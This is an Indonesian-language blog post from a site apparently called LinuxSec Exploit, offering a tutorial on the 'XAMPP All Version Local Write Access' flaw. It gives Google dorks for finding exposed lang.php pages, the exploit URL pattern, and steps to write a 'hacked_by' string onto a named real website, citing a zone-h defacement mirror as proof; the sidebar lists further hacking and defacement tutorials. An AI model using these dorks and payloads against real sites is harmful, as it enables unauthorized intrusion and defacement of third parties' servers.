• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar

LinuxSec Exploit

Nothing is Ever Locked

  • XSS Payloads
  • About Us

XAMPP All Version Local Write Access Vulnerability

October 16, 2013 by Jack Wilder 1 Comment

Kali ini saya akan share salah satu exploit yang mungkin tergolong mudah untuk dipraktekkan. XAMPP All Version Local Write Access Vulnerability. Oke langsung saja ya. Ini exploit lagi rame sekarang 😀
Google Dork :
inurl:/xampp/lang.php
inurl:/security/lang.php
Use your brain :p

Exploit :
http://localhost/[path]/xampp/lang.php?WriteIntoLocalDisk
http://localhost/[path]/security/lang.php?WriteIntoLocalDisk

Langkah langkah :
Mulai berselancardi google dan cari target .
Contoh : http://www.aquadivarigotti.it/security/lang.php
Tinggal masukkan exploitnya, contohnya menajdi http://www.aquadivarigotti.it/security/lang.php?hacked_by_Nabilaholic404

Hasilnya terletak di http://localhost/[path]/xampp/lang.tmp atau http://localhost/[path]/security/lang.tmp

Contoh
http://www.aquadivarigotti.it/security/lang.tmp

Mirror

http://www.zone-h.org/mirror/id/20996159

Sekian tutorial kali ini, semoga bermanfaat 🙂

Filed Under: Uncategorized Tagged With: Exploit

Reader Interactions

Comments

  1. cak oni says

    October 18, 2013 at 5:38 am

    bermanfaat nih kang buat saya yang pemula

    Reply

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Primary Sidebar

Popular Post

Exploit Drupal Core 7.x Auto SQL Injection dan Upload Shell

Deteksi Kerentanan Execution After Redirect (EAR)

Cara Mudah Hack cPanel dengan Fitur Reset Password

CVE-2019-13360 – CentOS Control Web Panel Authentication Bypass

MIME Type Sniffing pada Form Upload Gambar

Open Redirect Bypass Cheat Sheet

Tutorial Hack WHM dan cPanel dengan WHMCS Killer

WordPress Plugin CopySafe PDF Protection Shell Upload

WordPress 4.7.0/4.7.1 Content Injection Exploit

Deface WordPress dengan Exploit WordPress TheLoft Theme Arbitrary File Download Vulnerability

LinuxSec / 14 queries in 0.12 seconds